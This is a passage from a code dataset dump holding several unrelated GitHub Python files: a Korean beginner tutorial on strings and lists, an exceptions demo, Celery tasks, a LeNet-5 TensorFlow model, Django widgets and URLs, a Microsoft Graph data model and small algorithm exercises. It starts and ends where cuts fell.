앞부분의 일부를 비교할때는 startswith/ 마지막은 endswith\nif s.startswith('python'):\n print('python입니다')\n\n# ss = 'Good morning. my love cho.'\n\n# print(ss.lower())\n# print(ss.upper())\n# print(ss)\n\n# print(ss.swapcase())\n# print(ss.capitalize())\n# print(ss.title())\n\n# 공백 제거\n# sss = ' angel '\n# print(sss + '님')\n# print(sss.lstrip()+'님') # 아예 공백이 안생김\n# print(sss.rstrip()+'님')\n# print(sss.strip()+'님')\n\n# print(sss.lstrip(),'님') # ,를 쓰면 반칸정도 공백이 생김\n# print(sss.rstrip(),'님')\n# print(sss.strip(),'님')\n\n\n# 일정한 폭 지정\nprice = [30, 13500, 2500]\nfor p in price:\n print('가격:%d원'%p)\n\n# 가격:30원\n# 가격:13500원\n# 가격:2500원\n\nfor p in price:\n print('가격:%7d원'%p)\n\n# 가격: 30원\n# 가격: 13500원\n# 가격: 2500원\n\nfor p in price:\n print('가격:%-7d원'%p)\n\n# 가격:30 원\n# 가격:13500 원\n# 가격:2500 원\n\npie = 3.14159265\n# print('%10f' %pie)\n# print('%10.8f'%pie)\n# print('%10.5f' %pie)\n# print('%10.2f'%pie)\n# 3.141593\n# 3.14159265\n# 3.14159\n# 3.14\n\n\n# 리스트\n# 리스트에 소속되는 각각의 값을 요소 또는 원소\n# 이중리스트\nlol = [[1,2,3],[4,5],[6,7,8,9]]\n# print(lol[0]) # [1, 2, 3]\n# print(lol[2][1]) # 7\n\n\n# for i in lol:\n# for q in i:\n# print(q,end=' ')\n# print()\n# 1 2 3 \n# 4 5 \n# 6 7 8 9 \n\nscore = [\n [88,76,92,98],\n [65,87,92,76],\n [21,53,76,97],\n [99,26,88,92]\n]\n\ntotal = 0\ntotalsub = 0\n\nfor student in score:\n sum = 0\n for subject in student:\n sum += subject\n subjects =len(student) # 과목 갯수\n print('총점 %d, 평균 %.2f' %(sum, sum/subjects))\n total += sum\n totalsub += subjects\nprint('전체평균 %.2f' %(total/totalsub))\n# 총점 354, 평균 88.50\n# 총점 320, 평균 80.00\n# 총점 247, 평균 61.75\n# 총점 305, 평균 76.25\n# 전체평균 76.62\n\n# list comprehension\n# [수식 for 변�� in 리스트 if 조건]\n\n# nums = [n * 2 for n in range(1, 11)]\n# for i in nums:\n# print(i,end =',')\n\n# 2,4,6,8,10,12,14,16,18,20,\n\n# append와 insert\nnum = [1,2,3,4]\nnum.append(5)\nprint(num)\n\nnum.insert(2,100)\nprint(num)\n\nlist1 = [1,2,3,4,5]\nlist2 = [10,11]\nlist1.extend(list2)\nprint(list1)\n\n# 삭제 \nlist3 = [1,2,3,4,5,6,7,8,9,10]\nlist3.remove(10) # list 소속의 삭제 메서드\nprint(list3)\ndel(list3[0]) # 파이썬 키워드/ 메서드 아님\nprint(list3)\nprint(list3.pop()) # 인수가 없으면 마지막 요소를 삭제하여 리턴\n# 선입선출할 때 사용\nprint(list3)\n\n# 정렬\ncountry = ['Korea', 'japan', 'CHINA', 'america']\ncountry.sort()\nprint(country)\n# ['CHINA', 'Korea', 'america', 'japan']\n# 그냥 sort하면 대문자가 더 작은것으로 평가되어 앞쪽에 배치됨\ncountry.sort(key=str.lower) # 대소문자 비교 시 sort에 key 인자\nprint(country)\n# ['america', 'CHINA', 'japan', 'Korea']\n# 요소 자체가 바뀌는 것은 아님\n\n# sorted는 정렬하여 새로운 리스트를 반환함\n# country2 = sorted(country)\n# print(country2)\n\n\n# tuple(튜플)\n# 튜플은 편집할 수 없고 ()를 사용한다\n# 튜플의 요소를 읽고 범위를 추출하여 잘라낼 수도 있고 연결하거나 요소를 반복할 수도 있음\n# 튜플의 요소를 변경하거나 삭제하는 것은 불가능\n\n# 여러 개의 변수에 값을 한꺼번에 대입하는 기능\n# ex)\nTomato = '조을연', '장한솔', '문숙연'\ncho, jang, moon = Tomato\n# print(cho) # 조을연\n# print(jang) # 장한솔\n# print(moon) # 문숙연\n# 세 개의 요소를 가지는 튜플을 정의하고 세 변수를 튜플로 만들어 튜플끼리 대입하면 대응되는 요소끼리 대입된다\n\n# a, b = 12, 34\n# print(a,b)\n# a,b = b,a\n# print(a,b)\n\nimport time\n\ndef gettime():\n now = time.localtime()\n return now.tm_hour, now.tm_min\n\nresult = gettime()\nprint(result)\nprint('지금은 %d시 %d분입니다' %(result[0],result[1]))\n\n# divmod\nd,m = divmod(7, 3)\nprint('몫', d)\nprint('나머지', m)\n# 몫 2\n# 나머지 1\n\n# list <-> tuple 상호 변환 가능하지만 많은 시간이 소요됨\nscoreLi = [89, 11, 85, 56, 79, 98]\ntu = tuple(scoreLi)\nprint(tu)\nli = list(tu)\nprint(li)\n\n\n\n\n","repo_name":"SOL-2/TIL","sub_path":"python/6.data_structure.py","file_name":"6.data_structure.py","file_ext":"py","file_size_in_byte":4600,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28219714823","text":"# Examples of exceptions\n\ndef fetcher(obj, index):\n return obj[index]\n\n\nclass AlreadyGotOne(Exception):\n pass\n\n\ndef grail():\n raise AlreadyGotOne()\n\n\nif __name__ == \"__main__\":\n x = 'spam'\n print(fetcher(x, 3)) # 'm'\n\n # catching exceptions\n def catcher():\n # IndexError: string index out of range\n try:\n print(fetcher(x, 4))\n except IndexError:\n print('string index out of range')\n print('continuing')\n\n catcher()\n\n # generating exception\n try:\n raise IndexError\n except IndexError:\n print('Raised: string index out of range')\n\n # define exception\n try:\n grail()\n except AlreadyGotOne:\n print('AlreadyGotOne exception')\n\n \n # finaly\n try:\n fetcher(x, 3)\n finally:\n print('is done even if no exception')\n\n def after():\n try:\n fetcher(x, 4)\n finally:\n print('or if excepted')\n print('but no after') # is dont, because finally is resolved before exception and exception next\n\n after()\n","repo_name":"KonstantinKlepikov/all-python-ml-learning","sub_path":"python_learning/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33038693956","text":"from celery.task.schedules import crontab\nfrom celery.decorators import periodic_task\nfrom django.utils.translation import ugettext as _\nfrom django.core.mail import EmailMessage\nfrom django.conf import settings\n\n# from haystack.management.commands import update_index\nimport subprocess\n\nfrom apps.backend.utils import send_notification\nfrom apps.backend.models import EventNotification\nfrom apps.backend import AppMessage\n\n@periodic_task(run_every=crontab(day_of_week=\"*\", hour=\"*\", minute=\"*/2\"))\ndef process_notifications():\n \"\"\"\n Checks for notifications about events.\n \"\"\"\n notification_processed= 0\n for notification in EventNotification.objects.filter(awaiting=True):\n if notification.action == 'active':\n # Process the notification of an element become 'active'.\n is_active= False\n try:\n is_active= notification.item.content_object.active\n except:\n pass\n if is_active:\n if send_notification(notification):\n notification.awaiting= False\n notification.save()\n notification_processed += 1\n else:\n print >> sys.stderr, '[%s] %s' % (datetime.now().isoformat(),\n AppMessage('NotificFailed').message % notification.__unicode__())\n return \"Completed processing notifications: %d sent.\" % notification_processed\n\n\n@periodic_task(run_every=crontab(day_of_week=\"*\", hour=\"*/2\", minute=0))\ndef haystack_update_index():\n \"\"\"\"\"\"\n try:\n p= subprocess.Popen(['python', 'manage.py', 'update_index'])\n except Exception as e:\n return \"ERROR starting subprocess. System message is:\\n%s\" % e\n return \"Index updated successfully.\"\n","repo_name":"CCLab/sezam","sub_path":"apps/backend/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39489087999","text":"# Fitness algorith, 2018\nimport numpy as np\n\nITERATIONS = 20\nDELTA = 0\n\n# Toy model\nM = np.array([[1, 1, 0, 0, 0],\n [0, 1, 0, 1, 1],\n [1, 0, 1, 0, 0]])\n\n# number of countries = C; products = P\nC = M.shape[0]\nP = M.shape[1]\n\n# Set initial conditions\nFN = np.ones((1, C))\nQN = np.ones((1, P))\n\n\n# Set loop\nfor i in range(ITERATIONS):\n\n FTILDE = (DELTA ** 2) + np.sum(np.multiply(M, (1 / QN)), axis=1)\n QTILDE = 1 + np.sum(np.multiply(M.T, (1 / FN)), axis=1)\n FN = FTILDE\n QN = QTILDE\n\nprint(f\"Complexity: {QN}\")\nprint(f\"Fitness: {FN}\")\n# file ends here, l33\n","repo_name":"jorgenfrost/algorithms","sub_path":"fitness2018.py","file_name":"fitness2018.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7936719451","text":"import sys\nsys.stdin = open('input.txt', 'r')\n\ngaro, sero = map(int, input().split())\ncut = int(input())\nL = [list(map(int, input().split())) for _ in range(cut)]\n\ny = [0]\nx = [0]\nfor k in range(cut):\n if L[k][0] == 1: # sero\n y.append(L[k][1])\n elif L[k][0] == 0: # garo\n x.append(L[k][1])\ny.append(garo)\nx.append(sero)\n\nfor i in range(len(x)):\n for j in range(i+1, len(x)):\n if x[i] > x[j]:\n x[i], x[j] = x[j], x[i]\nfor i in range(len(y)):\n for j in range(i+1, len(y)):\n if y[i] > y[j]:\n y[i], y[j] = y[j], y[i]\n\ncomp = []\nfor i in range(1, len(y)):\n for j in range(1, len(x)):\n tmp = (y[i]-y[i-1]) * (x[j]-x[j-1])\n comp.append(tmp)\n tmp = 0\nprint(max(comp))","repo_name":"anyl92/ALGORITHM","sub_path":"baek/baek_2628_cutpaper.py","file_name":"baek_2628_cutpaper.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35094714663","text":"import sys\nn = int(sys.stdin.readline())\n\nnum = [0,1]\n\nfor i in range(2,n+1):\n num.append(num[i-1]+num[i-2])\n\nif n != 0:\n print(num[-1])\nelse:\n print(0)\n\n","repo_name":"meohyun/baekjoon","sub_path":"10870.py","file_name":"10870.py","file_ext":"py","file_size_in_byte":163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35413084171","text":"#!/usr/bin/env python3\n\"\"\"\n Creates a convolutional\n neural network using tensorflow\n and the LeNet-5 architecture.\n\"\"\"\nimport tensorflow.compat.v1 as tf\n\n\ndef lenet5(x, y):\n \"\"\"\n Builds a modified version\n of the LeNet-5 architecture.\n \"\"\"\n conv1 = tf.layers.conv2d(\n inputs=x,\n filters=6,\n kernel_size=(5, 5),\n padding='same',\n activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.variance_scaling_initializer()\n )\n\n # Max pooling layer 1\n pool1 = tf.layers.max_pooling2d(\n inputs=conv1,\n pool_size=(2, 2),\n strides=(2, 2)\n )\n\n # Convolutional layer 2\n conv2 = tf.layers.conv2d(\n inputs=pool1,\n filters=16,\n kernel_size=(5, 5),\n padding='valid',\n activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.variance_scaling_initializer()\n )\n\n # Max pooling layer 2\n pool2 = tf.layers.max_pooling2d(\n inputs=conv2,\n pool_size=(2, 2),\n strides=(2, 2)\n )\n\n # Flatten the pool2 output\n flatten = tf.layers.flatten(pool2)\n\n # Fully connected layer 1\n fc1 = tf.layers.dense(\n inputs=flatten,\n units=120,\n activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.variance_scaling_initializer()\n )\n\n # Fully connected layer 2\n fc2 = tf.layers.dense(\n inputs=fc1,\n units=84,\n activation=tf.nn.relu,\n kernel_initializer=tf.contrib.layers.variance_scaling_initializer()\n )\n\n # Output layer\n logits = tf.layers.dense(\n inputs=fc2,\n units=10,\n kernel_initializer=tf.contrib.layers.variance_scaling_initializer()\n )\n\n # Softmax activated output\n output = tf.nn.softmax(logits)\n\n # Loss\n loss = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=logits)\n )\n\n # Accuracy\n correct_prediction = tf.equal(tf.argmax(output, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n # Training operation\n optimizer = tf.train.AdamOptimizer()\n train_op = optimizer.minimize(loss)\n\n return output, train_op, loss, accuracy\n","repo_name":"IHansen225/holbertonschool-machine_learning","sub_path":"supervised_learning/cnn/4-lenet5.py","file_name":"4-lenet5.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32222001729","text":"#! python\n\nimport os, sys, math, unittest\n# from [library] import [function]\n\nclass test001(unittest.TestCase):\n\t\"\"\"test something\"\"\"\n\tdef test_run(self):\n\t\tself.assertTrue(True)\n\nif __name__==\"__main__\":\n\tunittest.main(verbosity=2)\n","repo_name":"dad/lcscore","sub_path":"src/liftover_test.py","file_name":"liftover_test.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14574318598","text":"from django.urls import path , include\n\n\nfrom . import views \n\n\napp_name = 'AboutUs'\n\nurlpatterns = [\n # path('', views.DholeraMetroCity , name='dholeraMetroCity'),\n path(\"__reload__/\", include(\"django_browser_reload.urls\")),\n \n path('' , views.about , name='about'),\n path('privacy/' , views.privacy, name='privacy'),\n path('site-map/' , views.sitemap, name='site-map'),\n]","repo_name":"Nikunj-Khinchi/DholeraMetroCity-Batwebs","sub_path":"AboutUs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15794857748","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import AdditionalDataHolder, Parsable, ParseNode, SerializationWriter\nfrom kiota_abstractions.store import BackedModel, BackingStore, BackingStoreFactorySingleton\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .network_connection_type import NetworkConnectionType\n from .network_transport_protocol import NetworkTransportProtocol\n from .trace_route_hop import TraceRouteHop\n from .wifi_band import WifiBand\n from .wifi_radio_type import WifiRadioType\n\n@dataclass\nclass NetworkInfo(AdditionalDataHolder, BackedModel, Parsable):\n # Stores model information.\n backing_store: BackingStore = field(default_factory=BackingStoreFactorySingleton(backing_store_factory=None).backing_store_factory.create_backing_store, repr=False)\n\n # Stores additional data not described in the OpenAPI description found when deserializing. Can be used for serialization as well.\n additional_data: Dict[str, Any] = field(default_factory=dict)\n # Fraction of the call that the media endpoint detected the available bandwidth or bandwidth policy was low enough to cause poor quality of the audio sent.\n bandwidth_low_event_ratio: Optional[float] = None\n # The wireless LAN basic service set identifier of the media endpoint used to connect to the network.\n basic_service_set_identifier: Optional[str] = None\n # The connectionType property\n connection_type: Optional[NetworkConnectionType] = None\n # Fraction of the call that the media endpoint detected the network delay was significant enough to impact the ability to have real-time two-way communication.\n delay_event_ratio: Optional[float] = None\n # DNS suffix associated with the network adapter of the media endpoint.\n dns_suffix: Optional[str] = None\n # IP address of the media endpoint.\n ip_address: Optional[str] = None\n # Link speed in bits per second reported by the network adapter used by the media endpoint.\n link_speed: Optional[int] = None\n # The media access control (MAC) address of the media endpoint's network device. This value may be missing or shown as 02:00:00:00:00:00 due to operating system privacy policies.\n mac_address: Optional[str] = None\n # The networkTransportProtocol property\n network_transport_protocol: Optional[NetworkTransportProtocol] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # Network port number used by media endpoint.\n port: Optional[int] = None\n # Fraction of the call that the media endpoint detected the network was causing poor quality of the audio received.\n received_quality_event_ratio: Optional[float] = None\n # IP address of the media endpoint as seen by the media relay server. This is typically the public internet IP address associated to the endpoint.\n reflexive_i_p_address: Optional[str] = None\n # IP address of the media relay server allocated by the media endpoint.\n relay_i_p_address: Optional[str] = None\n # Network port number allocated on the media relay server by the media endpoint.\n relay_port: Optional[int] = None\n # Fraction of the call that the media endpoint detected the network was causing poor quality of the audio sent.\n sent_quality_event_ratio: Optional[float] = None\n # Subnet used for media stream by the media endpoint.\n subnet: Optional[str] = None\n # List of network trace route hops collected for this media stream.*\n trace_route_hops: Optional[List[TraceRouteHop]] = None\n # The wifiBand property\n wifi_band: Optional[WifiBand] = None\n # Estimated remaining battery charge in percentage reported by the media endpoint.\n wifi_battery_charge: Optional[int] = None\n # WiFi channel used by the media endpoint.\n wifi_channel: Optional[int] = None\n # Name of the Microsoft WiFi driver used by the media endpoint. Value may be localized based on the language used by endpoint.\n wifi_microsoft_driver: Optional[str] = None\n # Version of the Microsoft WiFi driver used by the media endpoint.\n wifi_microsoft_driver_version: Optional[str] = None\n # The wifiRadioType property\n wifi_radio_type: Optional[WifiRadioType] = None\n # WiFi signal strength in percentage reported by the media endpoint.\n wifi_signal_strength: Optional[int] = None\n # Name of the WiFi driver used by the media endpoint. Value may be localized based on the language used by endpoint.\n wifi_vendor_driver: Optional[str] = None\n # Version of the WiFi driver used by the media endpoint.\n wifi_vendor_driver_version: Optional[str] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> NetworkInfo:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: NetworkInfo\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return NetworkInfo()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .network_connection_type import NetworkConnectionType\n from .network_transport_protocol import NetworkTransportProtocol\n from .trace_route_hop import TraceRouteHop\n from .wifi_band import WifiBand\n from .wifi_radio_type import WifiRadioType\n\n from .network_connection_type import NetworkConnectionType\n from .network_transport_protocol import NetworkTransportProtocol\n from .trace_route_hop import TraceRouteHop\n from .wifi_band import WifiBand\n from .wifi_radio_type import WifiRadioType\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"bandwidthLowEventRatio\": lambda n : setattr(self, 'bandwidth_low_event_ratio', n.get_float_value()),\n \"basicServiceSetIdentifier\": lambda n : setattr(self, 'basic_service_set_identifier', n.get_str_value()),\n \"connectionType\": lambda n : setattr(self, 'connection_type', n.get_enum_value(NetworkConnectionType)),\n \"delayEventRatio\": lambda n : setattr(self, 'delay_event_ratio', n.get_float_value()),\n \"dnsSuffix\": lambda n : setattr(self, 'dns_suffix', n.get_str_value()),\n \"ipAddress\": lambda n : setattr(self, 'ip_address', n.get_str_value()),\n \"linkSpeed\": lambda n : setattr(self, 'link_speed', n.get_int_value()),\n \"macAddress\": lambda n : setattr(self, 'mac_address', n.get_str_value()),\n \"networkTransportProtocol\": lambda n : setattr(self, 'network_transport_protocol', n.get_enum_value(NetworkTransportProtocol)),\n \"@odata.type\": lambda n : setattr(self, 'odata_type', n.get_str_value()),\n \"port\": lambda n : setattr(self, 'port', n.get_int_value()),\n \"receivedQualityEventRatio\": lambda n : setattr(self, 'received_quality_event_ratio', n.get_float_value()),\n \"reflexiveIPAddress\": lambda n : setattr(self, 'reflexive_i_p_address', n.get_str_value()),\n \"relayIPAddress\": lambda n : setattr(self, 'relay_i_p_address', n.get_str_value()),\n \"relayPort\": lambda n : setattr(self, 'relay_port', n.get_int_value()),\n \"sentQualityEventRatio\": lambda n : setattr(self, 'sent_quality_event_ratio', n.get_float_value()),\n \"subnet\": lambda n : setattr(self, 'subnet', n.get_str_value()),\n \"traceRouteHops\": lambda n : setattr(self, 'trace_route_hops', n.get_collection_of_object_values(TraceRouteHop)),\n \"wifiBand\": lambda n : setattr(self, 'wifi_band', n.get_enum_value(WifiBand)),\n \"wifiBatteryCharge\": lambda n : setattr(self, 'wifi_battery_charge', n.get_int_value()),\n \"wifiChannel\": lambda n : setattr(self, 'wifi_channel', n.get_int_value()),\n \"wifiMicrosoftDriver\": lambda n : setattr(self, 'wifi_microsoft_driver', n.get_str_value()),\n \"wifiMicrosoftDriverVersion\": lambda n : setattr(self, 'wifi_microsoft_driver_version', n.get_str_value()),\n \"wifiRadioType\": lambda n : setattr(self, 'wifi_radio_type', n.get_enum_value(WifiRadioType)),\n \"wifiSignalStrength\": lambda n : setattr(self, 'wifi_signal_strength', n.get_int_value()),\n \"wifiVendorDriver\": lambda n : setattr(self, 'wifi_vendor_driver', n.get_str_value()),\n \"wifiVendorDriverVersion\": lambda n : setattr(self, 'wifi_vendor_driver_version', n.get_str_value()),\n }\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n writer.write_float_value(\"bandwidthLowEventRatio\", self.bandwidth_low_event_ratio)\n writer.write_str_value(\"basicServiceSetIdentifier\", self.basic_service_set_identifier)\n writer.write_enum_value(\"connectionType\", self.connection_type)\n writer.write_float_value(\"delayEventRatio\", self.delay_event_ratio)\n writer.write_str_value(\"dnsSuffix\", self.dns_suffix)\n writer.write_str_value(\"ipAddress\", self.ip_address)\n writer.write_int_value(\"linkSpeed\", self.link_speed)\n writer.write_str_value(\"macAddress\", self.mac_address)\n writer.write_enum_value(\"networkTransportProtocol\", self.network_transport_protocol)\n writer.write_str_value(\"@odata.type\", self.odata_type)\n writer.write_int_value(\"port\", self.port)\n writer.write_float_value(\"receivedQualityEventRatio\", self.received_quality_event_ratio)\n writer.write_str_value(\"reflexiveIPAddress\", self.reflexive_i_p_address)\n writer.write_str_value(\"relayIPAddress\", self.relay_i_p_address)\n writer.write_int_value(\"relayPort\", self.relay_port)\n writer.write_float_value(\"sentQualityEventRatio\", self.sent_quality_event_ratio)\n writer.write_str_value(\"subnet\", self.subnet)\n writer.write_collection_of_object_values(\"traceRouteHops\", self.trace_route_hops)\n writer.write_enum_value(\"wifiBand\", self.wifi_band)\n writer.write_int_value(\"wifiBatteryCharge\", self.wifi_battery_charge)\n writer.write_int_value(\"wifiChannel\", self.wifi_channel)\n writer.write_str_value(\"wifiMicrosoftDriver\", self.wifi_microsoft_driver)\n writer.write_str_value(\"wifiMicrosoftDriverVersion\", self.wifi_microsoft_driver_version)\n writer.write_enum_value(\"wifiRadioType\", self.wifi_radio_type)\n writer.write_int_value(\"wifiSignalStrength\", self.wifi_signal_strength)\n writer.write_str_value(\"wifiVendorDriver\", self.wifi_vendor_driver)\n writer.write_str_value(\"wifiVendorDriverVersion\", self.wifi_vendor_driver_version)\n writer.write_additional_data_value(self.additional_data)\n \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/call_records/network_info.py","file_name":"network_info.py","file_ext":"py","file_size_in_byte":11190,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"} +{"seq_id":"17096823059","text":"from django import forms\nfrom django.db import models\nfrom django.forms.widgets import flatatt\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.utils.safestring import mark_safe\nfrom ajaxwidgets.widgets import ModelAutocomplete\nfrom courses.models import Course, Department\n\nimport re\n\nAUTOCOMPLETE_URLS = {\n'department' : '/courses/department_autocomplete/',\n'coursenumber' : '/courses/coursenumber_autocomplete/',\n'instructor' : '/courses/instructor_autocomplete/',\n'subject' : '/courses/subject_autocomplete/',\n}\n\nclass DepartmentAutocomplete(ModelAutocomplete):\n def __init__(self, list_series=1, abbreviations=False, *args, **kwargs):\n kwargs['attrs'] = kwargs.get('attrs', {})\n kwargs['attrs'].update({'department_autocomplete' : list_series})\n self.list_series = list_series\n super(DepartmentAutocomplete, self).__init__(\n AUTOCOMPLETE_URLS['department'],\n *args, **kwargs)\n\nclass SubjectAutocomplete(ModelAutocomplete):\n def __init__(self, list_series=1, abbreviations=False, *args, **kwargs):\n kwargs['attrs'] = kwargs.get('attrs', {})\n kwargs['attrs'].update({'subject_autocomplete' : list_series})\n self.list_series = list_series\n super(SubjectAutocomplete, self).__init__(\n AUTOCOMPLETE_URLS['subject'],\n *args, **kwargs)\n\n def render_additional_result_javascript(self, name):\n return u'''\n elementlist.add_element_to_list('%(list_series)s', data[1], data[0]);\n $(this).attr('value', '');\n''' % (self.__dict__)\n\n\nclass CourseNumberAutocomplete(ModelAutocomplete):\n def __init__(self, list_series=1, abbreviations=False, *args, **kwargs):\n kwargs['attrs'] = kwargs.get('attrs', {})\n kwargs['attrs'].update({'coursenumber_autocomplete' : list_series})\n if abbreviations:\n abbreviations = ', abbrs : true'\n else:\n abbreviations = ''\n self.list_series = list_series\n self.abbrs = abbreviations\n kwargs['options'] = \"\"\"{ extraParams : {department_query : function () { return $('[department_autocomplete=%(list_series)s]').attr(\"value\") } %(abbrs)s }, matchContains : true, delay : 100, cacheLength : 10 }\"\"\" % self.__dict__\n\n \n super(CourseNumberAutocomplete, self).__init__(\n AUTOCOMPLETE_URLS['coursenumber'],\n *args, **kwargs)\n\n def render(self, name, value=None, attrs={}):\n html = super(CourseNumberAutocomplete, self).render(name, value, attrs)\n return mark_safe(html + u\"\"\"\n<p> </p>\n<script language=\"javascript\">\n $('[department_autocomplete=%(list_series)s]').focus( function() {\n $('[coursenumber_autocomplete=%(list_series)s]').flushCache();\n }).blur( function () {\n $('[coursenumber_autocomplete=%(list_series)s]').flushCache();\n });\n \n $('[coursenumber_autocomplete=%(list_series)s]').result( function(event, data, formatted) {\n courselist_result(data, %(list_series)s);\n $(this).attr('value', '');\n });\n</script>\n\"\"\" % (self.__dict__) )\n\nELEMENTLIST_KEY_RE = re.compile(\"elementlist_(?P<list_series>\\d+)_(?P<counter>\\d+)\")\nclass ElementList(forms.Widget):\n def __init__(self, list_series=1, attrs={}):\n self.list_series = list_series\n self.attrs = attrs\n\n def value_from_datadict(self, datadict, files, name):\n if datadict.has_key(name):\n return datadict[name]\n values = []\n for key, value in datadict.items():\n m = ELEMENTLIST_KEY_RE.match(key)\n if m and int(m.group('list_series')) == self.list_series:\n values.append((value, int(m.group('counter'))))\n values.sort(key=lambda x: x[1])\n values = [value[0].split(',', 1) for value in values]\n return values\n\n def render_javascript(self, name, value=None):\n d = {'name': name}\n d.update(self.__dict__)\n items = []\n if value:\n for item in value:\n if isinstance(item, models.Model):\n item = (item.pk, unicode(item))\n items.append(\"\"\"elementlist.add_element_to_list(\"%s\", \"%s\", \"%s\", \"%s\");\"\"\" % (self.list_series, item[0], item[1], name))\n d['items'] = \"\\n\".join(items)\n return u\"\"\"\n <script type='text/javascript'>\n $(document).ready( function() {\n %(items)s\n });\n </script>\n\"\"\" % d\n\n def render(self, name, value=None, attrs={}):\n d = {'name' : name}\n d.update(self.__dict__)\n d['js'] = self.render_javascript(name, value)\n return mark_safe(u\"\"\" \n<ul class=\"elementlist\" list_series=\"%(list_series)s\" id=\"id_%(name)s\">\n <li element_id=\"-1\">Nothing selected yet</li>\n</ul>\n%(js)s\"\"\" % d)\n\n class Media:\n js = ( settings.STATIC_URL + \"courses/course.js\", settings.STATIC_URL + \"courses/jquery.color.js\", )\n\nclass CourseAutocomplete(forms.MultiWidget):\n def __init__(self, attrs=None, list_series=1):\n widgets = (\n DepartmentAutocomplete(list_series=list_series, attrs={\"style\" : \"width: 10em\"}),\n CourseNumberAutocomplete(list_series=list_series, attrs={\"style\" : \"width: 4em\"}),\n )\n super(CourseAutocomplete, self).__init__(widgets, attrs)\n\n def decompress(self, value):\n if value and instanceof(value, Course):\n return [value.department, value.coursenumber]\n return [None, None]\n \n \nclass InstructorAutocomplete(ModelAutocomplete):\n def __init__(self, list_series=1, *args, **kwargs):\n kwargs['attrs'] = kwargs.get('attrs', {})\n kwargs['attrs'].update({'instructor_autocomplete' : list_series})\n kwargs['options'] = \"\"\"{ extraParams : {department_query : function () { return $('[department_autocomplete=%s]').attr(\"value\") }, coursenumber_query : function () { return $('[coursenumber_autocomplete=%s]').attr(\"value\") } } }\"\"\" % (list_series, list_series)\n super(InstructorAutocomplete, self).__init__(\n AUTOCOMPLETE_URLS['instructor'],\n *args, **kwargs)\n\n\n","repo_name":"ianmccon/django-courses","sub_path":"courses/forms/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":6137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34354717275","text":"import torch\n\nOTHELLO = False\n\nif OTHELLO:\n import Othello.config as config\n from Othello.experiments.othelloBaseExperiment import OthelloBaseExperiment\n LOAD_PLAYER = OthelloBaseExperiment.load_player(\"FCBaseline_trained_on_trad.pth\")\n game_states = OthelloBaseExperiment.generate_supervised_training_data(1, LOAD_PLAYER)\n\nelse:\n import TicTacToe.config as config\n from TicTacToe.experiments.ticTacToeBaseExperiment import TicTacToeBaseExperiment\n LOAD_PLAYER = TicTacToeBaseExperiment.load_player(\"[FCBaseLinePlayer lr 0.00010000000000037804 FCPolicyModel intermediate size 32] .pth\")\n game_states = TicTacToeBaseExperiment.generate_supervised_training_data(1, LOAD_PLAYER)\n\nCOLOR = config.BLACK\n\nboard = game_states[0][0]\nboard_var = config.make_variable([board.board])\nlegal_moves = config.make_variable(board.get_legal_moves_map(COLOR))\nprobs, state_value = LOAD_PLAYER.strategy.model(board_var, legal_moves)\nnonzero_move_probs = [p for p in probs.data[0] if p >= 1e-4]\n\nprint()\nprint(\"Number of legal moves: %s\" % len(board.get_valid_moves(COLOR)))\nprint(\"Number of non zero move probs: %s\" % len(nonzero_move_probs))\nprint(nonzero_move_probs)\nprint(\"State value: %s\" % state_value.data[0][0])\nprint(\"Move probabilities: \\n%s\" % 